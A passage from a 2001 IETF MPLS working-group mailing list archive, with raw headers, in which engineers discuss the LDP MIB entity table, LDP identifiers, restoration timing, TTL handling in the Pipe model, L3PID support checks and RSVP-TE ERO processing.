> >      mplsLdpEntityProtocolVersion  Integer32,
> >      mplsLdpEntityAdminStatus      INTEGER,
> >      mplsLdpEntityOperStatus       INTEGER,
> >      mplsLdpEntityTcpDscPort       Unsigned32,
> >      mplsLdpEntityUdpDscPort       Unsigned32,
> >      mplsLdpEntityMaxPduLength     Unsigned32,
> >      mplsLdpEntityKeepAliveHoldTimer  Integer32,
> >      mplsLdpEntityHelloHoldTimer      Integer32,
> >      mplsLdpEntityInitSesThreshold    Integer32,
> >      mplsLdpEntityLabelDistMethod     INTEGER,
> >      mplsLdpEntityLabelRetentionMode  INTEGER,
> >      mplsLdpEntityPVLMisTrapEnable    INTEGER,
> >      mplsLdpEntityPVL                 Integer32,
> >      mplsLdpEntityHopCountLimit       Integer32,
> >      mplsLdpEntityTargPeer            TruthValue,
> >      mplsLdpEntityTargPeerAddrType
> > adressFamilyNumbers,
> >      mplsLdpEntityTargPeerAddr      MplsLdpGenAddr,
> >      mplsLdpEntityOptionalParameters
> > MplsLdpLabelTypes,
> >      mplsLdpEntityDiscontinuityTime   TimeStamp,
> >      mplsLdpEntityStorType            StorageType,
> >      mplsLdpEntityRowStatus            RowStatus
> >      }
> >
> > Thanks in Advance,
> > Srini.
> >
> > __________________________________________________
> > Do You Yahoo!?
> > NEW from Yahoo! GeoCities - quick and easy web site hosting, just
> $8.95/month.
> > http://geocities.yahoo.com/ps/info1



From owner-mpls@UU.NET  Tue Oct  9 19:57:56 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA15046
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 19:57:56 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkbf13828;
	Tue, 9 Oct 2001 23:57:46 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkbf01236
	for mpls-outgoing; Tue, 9 Oct 2001 23:57:17 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkbf01231
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 23:57:14 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkbf01055
	for <mpls@uu.net>; Tue, 9 Oct 2001 23:56:36 GMT
Received: from fcs-nt1.futsoft.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fcs-nt1.futsoft.com [66.122.42.228])
	id QQlkbf16967
	for <mpls@uu.net>; Tue, 9 Oct 2001 23:56:49 GMT
Received: from sanjose.futsoft.com (unverified) by fcs-nt1.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with SMTP id <B0000401494@fcs-nt1.futsoft.com>;
 Tue, 09 Oct 2001 16:58:45 -0700
Received: from manis (adsl-66-122-42-231.futsoft.com [66.122.42.231])
	by sanjose.futsoft.com (8.9.3/8.8.7) with SMTP id PAA24142;
	Tue, 9 Oct 2001 15:42:03 -0700
Received: by localhost with Microsoft MAPI; Tue, 9 Oct 2001 17:00:33 -0700
Message-Id: <01C150E3.E8F122C0.manis@futsoft.com>
From: "S.Manikantan" <manis@futsoft.com>
Reply-To: "manis@futsoft.com" <manis@futsoft.com>
To: "'Joan Cucchiara'" <jcucchia@CrescentNetworks.com>,
        "Tiruveedhula, Kishore" <kishore@tenornetworks.com>
Cc: Srinivas T M <srini_tm@yahoo.com>, "mpls@uu.net" <mpls@UU.NET>,
        "jcucchiara@CrescentNetworks.com" <jcucchiara@CrescentNetworks.com>,
        "jluciani@CrescentNetworks.com" <jluciani@CrescentNetworks.com>,
        "hans@ipunplugged.com" <hans@ipunplugged.com>
Subject: RE: mplsLdpEntityTable
Date: Tue, 9 Oct 2001 17:00:32 -0700
Organization: Future Communications Software
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hello Joan

Continuing with the example of Kishore's and the 
need to run two sessions with two LDP identifiers.
I have a doubt and hence the following question.

In a LSR if we need to support more than
one LDP identifier supporting global label space / platform wide label
space, - should the :LSRID component of the identifier needs
to be different?

Reason LDP identifier is <LSR Id> : <label space id>, and
in case of platform wide label spaces the label space id
should be zero - (RFC 30306 section 2.2.2)

regards
mani


-----Original Message-----
From:	Joan Cucchiara [SMTP:jcucchia@CrescentNetworks.com]
Sent:	Tuesday, October 09, 2001 4:33 PM
To:	Tiruveedhula, Kishore
Cc:	Srinivas T M; mpls@uu.net; jcucchiara@CrescentNetworks.com; jluciani@CrescentNetworks.com; hans@ipunplugged.com
Subject:	Re: mplsLdpEntityTable



"Tiruveedhula, Kishore" wrote:

Hi Kishore,

> 
> Hi Joan,
>     I have a question relating to mplsLdpEntityTable.
>  If all interfaces in an LSR using global label space (per platform label
> space),
>  but some interfaces implements DOD label distribution, conservative
> retention mode and
>  some interfaces implements DU, liberal retention mode. In this scenario all
> interfaces uses same label space and LSR ID.
> In this case, is mplsLdpEntityTable contains multiple entries with same LDP
> identifier (mplsLdpEntityLdpId) due to different distribution and retention
> modes?

The entity table represents configuration for potential sessions, so 
if some interfaces use Downstream on Demand and some are Downstream
Unsoliticied, then this means a minimum of 2 sessions (so 2
mplsLdpEntityLdpId 
indexes).  RFC3036 describes that a single session could not run both
in DOD and DU simultaneously.
 
There could be two label spaces where both
are considered per platform where some interfaces participate in
supporting
one label space, and some interfaces participate in supporting another
label space, which is how one could possibly configure some interfaces
for DownStream OnDemand 
and some interfaces for Downstream Unsolicited (but this would take a
minimum
of two label ranges and at least two entities (or sessions)).

  -Joan

> 
> Thanks,
> Kishore
> 
> -----Original Message-----
> From: Joan Cucchiara [mailto:jcucchia@CrescentNetworks.com]
> Sent: Tuesday, October 09, 2001 5:59 PM
> To: Srinivas T M
> Cc: mpls@UU.NET; jcucchiara@CrescentNetworks.com;
> jluciani@CrescentNetworks.com; hans@ipunplugged.com
> Subject: Re: mplsLdpEntityTable
> 
> Srinivas T M wrote:
> >
> > Hi,
> >    Can anybody clarify my below question.
> >
> > How Interface Index relates to entry in the
> > mplsLdpEntityTable in case of per-platform label space
> > , generic label type and in case of LDP Identifier is
> > same for all interfaces ?
> 
> The entity entry/row is the configuration for a potential
> session.  The Interface Index is in the label range tables
> and the mplsLdpEntityLdpId and mplsLdpEntityIndex are used
> to tie the entity entry with a label range entry.
> 
> In the case of the per-platform label space, this is also
> the situation.  I'm not sure if this answers the question
> you are asking though.
> 
> >
> >  Can we use single entry in the entity table for
> > multiple interfaces? If it is like that, then what
> > happens if we change label Distribution Method or
> > LabelRetentionMode  or any field in the entity table,
> > on interface? draft-ietf-mpls-ldp-mib-08.txt is not
> > telling how interface relates to entry in the entity
> > table.
> 
> The front section of the MIB and the description for
> mplsLdpEntityAdminStatus does describe that it
> expects the user to administratively disable the entity
> (and thus take down the session -- meaning the session
> is removed) and then change whatever
> fields and then administratively enable the entity
> to create new session.
> 
>   -Joan
> 
> >
> >   MplsLdpEntityEntry ::= SEQUENCE {
> >      mplsLdpEntityLdpId        MplsLdpIdentifier,
> >      mplsLdpEntityIndex        Unsigned32,
> >      mplsLdpEntityProtocolVersion  Integer32,
> >      mplsLdpEntityAdminStatus      INTEGER,
> >      mplsLdpEntityOperStatus       INTEGER,
> >      mplsLdpEntityTcpDscPort       Unsigned32,
> >      mplsLdpEntityUdpDscPort       Unsigned32,
> >      mplsLdpEntityMaxPduLength     Unsigned32,
> >      mplsLdpEntityKeepAliveHoldTimer  Integer32,
> >      mplsLdpEntityHelloHoldTimer      Integer32,
> >      mplsLdpEntityInitSesThreshold    Integer32,
> >      mplsLdpEntityLabelDistMethod     INTEGER,
> >      mplsLdpEntityLabelRetentionMode  INTEGER,
> >      mplsLdpEntityPVLMisTrapEnable    INTEGER,
> >      mplsLdpEntityPVL                 Integer32,
> >      mplsLdpEntityHopCountLimit       Integer32,
> >      mplsLdpEntityTargPeer            TruthValue,
> >      mplsLdpEntityTargPeerAddrType
> > adressFamilyNumbers,
> >      mplsLdpEntityTargPeerAddr      MplsLdpGenAddr,
> >      mplsLdpEntityOptionalParameters
> > MplsLdpLabelTypes,
> >      mplsLdpEntityDiscontinuityTime   TimeStamp,
> >      mplsLdpEntityStorType            StorageType,
> >      mplsLdpEntityRowStatus            RowStatus
> >      }
> >
> > Thanks in Advance,
> > Srini.
> >
> > __________________________________________________
> > Do You Yahoo!?
> > NEW from Yahoo! GeoCities - quick and easy web site hosting, just
> $8.95/month.
> > http://geocities.yahoo.com/ps/info1


From owner-mpls@UU.NET  Tue Oct  9 20:28:19 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA15225
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 20:28:19 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkbh11901;
	Wed, 10 Oct 2001 00:28:01 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkbh21977
	for mpls-outgoing; Wed, 10 Oct 2001 00:27:30 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkbh21968
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 00:27:23 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkbh21102
	for <mpls@uu.net>; Wed, 10 Oct 2001 00:27:02 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkbh21468
	for <mpls@uu.net>; Wed, 10 Oct 2001 00:26:54 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id UAA02990 for <mpls@uu.net>; Tue, 9 Oct 2001 20:27:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id UAA27955 for mpls@uu.net; Tue, 9 Oct 2001 20:27:01 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkbh21836
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 00:25:57 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkbh10860
	for <mpls@UU.NET>; Wed, 10 Oct 2001 00:25:41 GMT
Received: from fido.nc.rr.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rdu26-240-155.nc.rr.com [66.26.240.155])
	id QQlkbh04895
	for <mpls@UU.NET>; Wed, 10 Oct 2001 00:25:55 GMT
Received: from localhost (jboyle@localhost)
	by fido.nc.rr.com (8.11.2/8.11.2) with ESMTP id f9A0QTN22014;
	Tue, 9 Oct 2001 20:26:50 -0400
X-Authentication-Warning: fido.nc.rr.com: jboyle owned process doing -bs
Date: Tue, 9 Oct 2001 20:26:29 -0400 (EDT)
From: Jim Boyle <jboyle@pdnets.com>
X-X-Sender:  <jboyle@fido>
To: Irfan Lateef <ilateef@vill.com>
cc: <v.sharma@ieee.org>, <mpls@UU.NET>
Subject: Re: MPLS Restoration
In-Reply-To: <3BC34A45.9A14F022@vill.com>
Message-ID: <Pine.LNX.4.33.0110092011300.1898-100000@fido>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

On Tue, 9 Oct 2001, Irfan Lateef wrote:

> Vishal,
>
> Thanks for the clarification about using LSP for notification.
>
> I think chang's draft has explained it in detail. My concern is,
> this idea suffers from the same scalibility issues as local repair
> with detours as suggested by gan's draft. If you have N hops
> you need N-1 LSPs in the reverse direction. Imagine the number
> of LSPs being tunneled through a  10 gig pipe and the traffic at
> the head of the pipe with RNTs when there is a failure on this pipe.
>
> Now the tewg-restore-hierarchy draft mentions 1:1 path protection
> in 100-500 ms. For the sake of argument let assume we do use RNT
> and LSP. Do you think we can achieve the protection within the
> timings mention above? I dont see how?
>


Or assume you don't use RNTs (as I understand them), you just send
PathErrs per LSP.... and switch traffic onto pre-signalled LSPs.  For a
network w/ a diameter on the order of 4500 km and # effected LSPs < 3-4k,
this is achievable, at least emperically.  I've even seen it work when the
head ends had to originate new connections (but, that was PNNI, which we
all know has no bearing here :)

What draft-tewg-restore-hierarchy-00 refers to in 5.2.1 as
Pre-Established is do-able.  I have doubts about Section 5.2.2 w/
Pre-planned (or shared based on SRG), but as the last paragraph says,
the first likely step is Pre-established.

regards,

Jim




From owner-mpls@UU.NET  Tue Oct  9 23:10:58 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA19399
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 23:10:58 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkbs24025;
	Wed, 10 Oct 2001 03:10:48 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkbs29594
	for mpls-outgoing; Wed, 10 Oct 2001 03:10:11 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkbs29588
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 03:10:07 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkbs23675
	for <mpls@UU.NET>; Wed, 10 Oct 2001 03:09:08 GMT
Received: from yarilo.pluris.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: yarilo.pluris.com [208.227.9.200])
	id QQlkbs24702
	for <mpls@UU.NET>; Wed, 10 Oct 2001 03:09:22 GMT
Received: from avalon.pluris.com (avalon.pluris.com [172.16.50.49])
	by yarilo.pluris.com (8.9.2/8.9.1) with ESMTP id UAA25335;
	Tue, 9 Oct 2001 20:09:04 -0700 (PDT)
Received: by avalon.pluris.com with Internet Mail Service (5.5.2653.19)
	id <SYPBWM9T>; Tue, 9 Oct 2001 20:09:04 -0700
Message-ID: <17C81AD1F1FED411991E006008F6D1CAFA933A@avalon.pluris.com>
From: Puneet Agarwal <puneet@pluris.com>
To: "'Shahram Davari'" <Shahram_Davari@pmc-sierra.com>, mpls@UU.NET
Subject: RE: New revision of the MPLS ttl draft
Date: Tue, 9 Oct 2001 20:09:04 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-2"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Shahram,

Thanks for your comments.

Regarding not storing the TTL decrementing policy of the customer in the
provider's egress LSR(s), I do not think that the proposed ttl processing
needs/requires the customers ttl decrement policy to be known to the Egress
LSRs. From a customers perspective, they send a packet with ttl n and they
get back a packet with ttl n-2. If the customer wants, they can decrement
the ttl by any amount they want without the providers egress LSR knowing
anything about it. TTL processing is different (and easier to determine)
than PHB determination as the TTL field has the same semantics in either the
providers network or the customers network - which is not true for the bits
used for PHB determination.

Hence I do not see a reason to change the TTL decrementing policy for Pipe
model LSPs. (There are other valid reasons for our proposal but they are not
relevant to the points you've raised). 

Hope this helps.

Thanks.

-Puneet  

>-----Original Message-----
>From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
>Sent: Tuesday, October 09, 2001 1:34 PM
>To: 'Puneet Agarwal'; mpls@UU.NET
>Subject: RE: New revision of the MPLS ttl draft
>
>
>Hi Puneet,
>
>The reason that Pipe model was introduced was that we didn't 
>want to store the customer policies in the egress LSR. This 
>meant from the Diffserv perspective, that we didn't want to 
>store EXP<=>PHB mapping for each individual customer. The Pipe 
>model essentially terminates the tunnel on the ingress line 
>card of the Router downstream of the Egress LSR, rather than 
>on the egress line-card of the egress LSR.
>
>As mentioned in your draft, each domain may have its own 
>policy (value to be decremented) for decrementing the TTL. 
>Therefore it seems to me that for the same reason, it is 
>better not to store TTL decrementing policy and apply it to 
>the packet in the egress LSR for the Pipe model. 
>
>Therefore I suggest that the Pipe model TTL processing be the 
>same as Short-pipe model with PHP.
>
>Yours,
>-Shahram
>
>> -----Original Message-----
>> From: Puneet Agarwal [mailto:puneet@pluris.com]
>> Sent: Monday, October 08, 2001 5:18 PM
>> To: mpls@UU.NET
>> Subject: New revision of the MPLS ttl draft
>> 
>> 
>> A new revision of the "TTL Processing in MPLS Networks" has 
>> been submitted.
>> This updates the -00 version of the draft.
>> 
>> Any comments/suggestions would be much appreciated.
>> 
>> -Puneet and Bora
>> 
>> 
>> 
>


From owner-mpls@UU.NET  Wed Oct 10 02:16:33 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA02692
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 02:16:33 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkcf01733;
	Wed, 10 Oct 2001 06:16:19 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkcf08646
	for mpls-outgoing; Wed, 10 Oct 2001 06:15:37 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkcf08639
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 06:15:31 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkcf22988
	for <mpls@UU.NET>; Wed, 10 Oct 2001 06:15:25 GMT
Received: from samar.sasken.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: samar.sasken.com [164.164.56.2])
	id QQlkcf16092
	for <mpls@UU.NET>; Wed, 10 Oct 2001 06:15:16 GMT
Received: from samar (localhost [127.0.0.1])
	by samar.sasken.com (8.11.3/8.11.3) with SMTP id f9A6DvR16806;
	Wed, 10 Oct 2001 11:45:17 +0530 (IST)
Received: from sasken.com (pcsvb197.sasken.com [10.1.66.197] (may be forged))
	by sunsv2.sasken.com (8.9.3/8.9.3) with ESMTP id KAA11095;
	Wed, 10 Oct 2001 10:41:47 +0530 (IST)
Message-ID: <3B9AF966.D07625AD@sasken.com>
Date: Sun, 09 Sep 2001 10:38:54 +0530
From: Adithya Bhat <adithya@sasken.com>
Reply-To: adithya@sasken.com
Organization: Sasken
X-Mailer: Mozilla 4.74 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "mpls@UU.NET" <mpls@UU.NET>, "mpls-ops@mplsrc.com" <mpls-ops@mplsrc.com>
Subject: Interworking of CR-LDP with RSVP-TE 
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi *,

Is there any work in progress on the
draft-wright-mpls-er-interwork-00.txt ?
This version of the draft seemed to have expired on sept 2000.
Is there any new version of this draft ? or is there any other draft
that addresses
the issue of Interworking of CR-LDP with RSVP-TE ?

Thanks and Regards,

-Adithya





From owner-mpls@UU.NET  Wed Oct 10 02:36:49 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA04055
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 02:36:49 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkcg00176;
	Wed, 10 Oct 2001 06:36:39 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkcg09951
	for mpls-outgoing; Wed, 10 Oct 2001 06:35:57 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkcg09936
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 06:35:51 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkcg10727
	for <mpls@UU.NET>; Wed, 10 Oct 2001 06:35:35 GMT
Received: from brahma01.netbrahma.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.67])
	id QQlkcg06347
	for <mpls@UU.NET>; Wed, 10 Oct 2001 06:35:49 GMT
Received: by mailserver.netbrahma.com with Internet Mail Service (5.5.2653.19)
	id <4SHT67DC>; Wed, 10 Oct 2001 12:01:20 +0530
Message-ID: <13D467F625FAD511AE2A00D0B7B917D706BB06@mailserver.netbrahma.com>
From: Apratim Mukherjee <ApratimM@netbrahma.com>
To: mpls@UU.NET
Subject: Use of L3PID
Date: Wed, 10 Oct 2001 12:01:19 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

The Label Request Object carries the L3PID expected to be supported at the 
'reciever' .
draft-ietf-mpls-rsvp-lsp-tunnel-08.txt:
"If the receiver cannot support the protocol L3PID, it SHOULD send a PathErr
with the error code "Routing problem" and the error value"Unsupported
L3PID."  This causes the RSVP session to fail."
But it is not clear to me as to where the check for this support is to be
carried out . Existing documents ( especially the Juniper implementation
white paper ) seem to suggest that this check should be carried out at every
LSR . 
But , lets look at a situation :
Ingress-->LSR1-->LSR2--->Egress
IPv6        IPv4       IPv4      IPv6 

So , in this case the LSP will be aborted at  LSR1 itself. However , if the
check were to be made only at the egress , the Lsp would have been set up
and data packets also would have gone through , since they do not need any
IPv6 support at either LSR 1 or LSR 2, they need it only at the Ingress and
Egress .

Please tell me if I am missing out on something here,
Thanks,
Apratim




From owner-mpls@UU.NET  Wed Oct 10 03:15:52 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA05762
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 03:15:52 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkci13232;
	Wed, 10 Oct 2001 07:14:22 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkci01345
	for mpls-outgoing; Wed, 10 Oct 2001 07:14:13 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkci01332
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 07:14:06 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkci01567
	for <mpls@UU.NET>; Wed, 10 Oct 2001 07:13:52 GMT
Received: from brahma01.netbrahma.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.67])
	id QQlkci10314
	for <mpls@UU.NET>; Wed, 10 Oct 2001 07:14:05 GMT
Received: by mailserver.netbrahma.com with Internet Mail Service (5.5.2653.19)
	id <4SHT67D7>; Wed, 10 Oct 2001 12:39:33 +0530
Message-ID: <13D467F625FAD511AE2A00D0B7B917D706BB07@mailserver.netbrahma.com>
From: Apratim Mukherjee <ApratimM@netbrahma.com>
To: mpls@UU.NET
Subject: RE: RSVP-TE ERO Processing
Date: Wed, 10 Oct 2001 12:39:32 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk



> ----------
> From: 	Vishal Mishra[SMTP:vish2mish@yahoo.com]
> Sent: 	Friday, October 05, 2001 11:24 PM
> To: 	Khuzema Pithewan
> Cc: 	mpls@UU.NET
> Subject: 	Re: RSVP-TE ERO Processing
> 
> ERO Processing is done only when the newly arrived ERObject is
> different from the stored ERObject.
> 
> Vishal.
> 
> --- Khuzema Pithewan <KhuzemaP@netbrahma.com> wrote:
> > Hi,
> > 
> > I have  few question related to ERO Processing...
> > 
> > 1. Does ERO Processing done each time when Intermediate node receives
> > Path Refresh?
> > 2. If Not, then what it should do, when there is a change in ERO
> > object
> > received in this Path Refresh than the ERO Object received in earlier
> > Path Messages..
> > 
> > Thanks,
> > Khuzema.
> 
> 
> __________________________________________________
> Do You Yahoo!?
> NEW from Yahoo! GeoCities - quick and easy web site hosting, just
> $8.95/month.
> http://geocities.yahoo.com/ps/info1
> 


From owner-mpls@UU.NET  Wed Oct 10 03:23:13 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA05827
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 03:23:12 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkcj05013;
	Wed, 10 Oct 2001 07:22:54 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkcj02064
	for mpls-outgoing; Wed, 10 Oct 2001 07:20:53 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkcj02058
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 07:20:46 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkcj07623
	for <mpls@UU.NET>; Wed, 10 Oct 2001 07:20:06 GMT
Received: from brahma01.netbrahma.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.67])
	id QQlkcj19886
	for <mpls@UU.NET>; Wed, 10 Oct 2001 07:20:19 GMT
Received: by mailserver.netbrahma.com with Internet Mail Service (5.5.2653.19)
	id <4SHT671L>; Wed, 10 Oct 2001 12:45:51 +0530
Message-ID: <13D467F625FAD511AE2A00D0B7B917D706BB08@mailserver.netbrahma.com>
From: Apratim Mukherjee <ApratimM@netbrahma.com>
To: mpls@UU.NET, "'David Charlap'" <David.Charlap@marconi.com>
Subject: RE: RSVP-TE ERO Processing
Date: Wed, 10 Oct 2001 12:45:50 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

A doubt regarding this  given inline...

Thanks
Apratim
> ----------
> From: 	David Charlap[SMTP:David.Charlap@marconi.com]
> Sent: 	Friday, October 05, 2001 1:25 AM
> To: 	mpls@UU.NET
> Subject: 	Re: RSVP-TE ERO Processing
> 
> Girish Bhat wrote:
> > 
> > I don't think the ERO needs to be processed with every refresh.
> > When the ERO changes, the source node creates a new path message
> > with the same session id but a different lsp id. Note that path
> > refreshes are sent along the old path with the old lsp id till the
> > new path gets established. Once the resv message comes back along
> > the new path, the old path is torn.
> 
> You've just described make-before-break.  This is the way ingress nodes
> are supposed to do the rerouting.
> 
> But a transit router should not assume that it will work this way. 
> There may be broken routers out there.  You still must be prepared to
> handle the case where the ERO changes, even if your switch isn't capable
> of anything more than generating a PathErr.
> 
> If the ERO changes, you should assume that the ingress node changed it
> 
Apratim : >>> Why is it that we are concerned only about when we recieve a
changed ERO ? Even in the other case , where the ERO object has not changed
, I think processing of the ERO should still be done as the second hop might
be a loosely routed hop . In which case the path to the loosely routed hop
could definitely change at run-time . Or it could be the same case if the
second object is a AS No or an abstract node . How can we assume that the
route stays the same as when we recieved the ERO for the first time although
the ERO has the same contents ? 

> for a reason and that this is not some weird manifestation of line
> noise.  To ignore the change and continue sending out Path messages to
